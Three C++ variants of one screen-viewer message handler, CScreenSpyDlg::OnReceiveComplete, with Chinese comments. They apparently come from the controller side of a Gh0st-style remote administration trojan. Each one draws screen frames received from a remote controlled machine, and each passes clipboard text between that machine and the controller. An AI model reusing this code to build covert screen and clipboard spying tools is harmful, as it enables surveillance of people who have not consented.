void CScreenSpyDlg::OnReceiveComplete(void) { m_nCount++; switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_FIRSTSCREEN: { DrawFirstScreen(); //这里显示第一帧图像 一会转到函数定义 break; } case TOKEN_NEXTSCREEN: { if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_DIFF) //我们可以在这里使用不同的算法 DrawNextScreenDiff(); //这里是第二帧之后的数据了 break; } case TOKEN_CLIPBOARD_TEXT: //获取被控端的剪切板数据 { UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); break; } default: // 传输发生异常数据 return; } }
void CScreenSpyDlg::OnReceiveComplete() { m_nCount++; switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_FIRSTSCREEN: DrawFirstScreen(); break; case TOKEN_NEXTSCREEN: if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN) DrawNextScreenRect(); else DrawNextScreenDiff(); break; case TOKEN_BITMAPINFO: ResetScreen(); break; case TOKEN_CLIPBOARD_TEXT: UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); break; default: // 传输发生异常数据 return; } }
VOID CScreenSpyDlg::OnReceiveComplete() { if (m_ContextObject==NULL) { return; } switch(m_ContextObject->InDeCompressedBuffer.GetBuffer()[0]) { case TOKEN_FIRSTSCREEN: { // MessageBox("1","1"); DrawFirstScreen(); //这里显示第一帧图像 一会转到函数定义 break; } case TOKEN_NEXTSCREEN: { if (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[1]==ALGORITHM_DIFF) { DrawNextScreenDiff(); } break; } case TOKEN_CLIPBOARD_TEXT: //给你 { UpdateServerClipboard((char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); break; } } }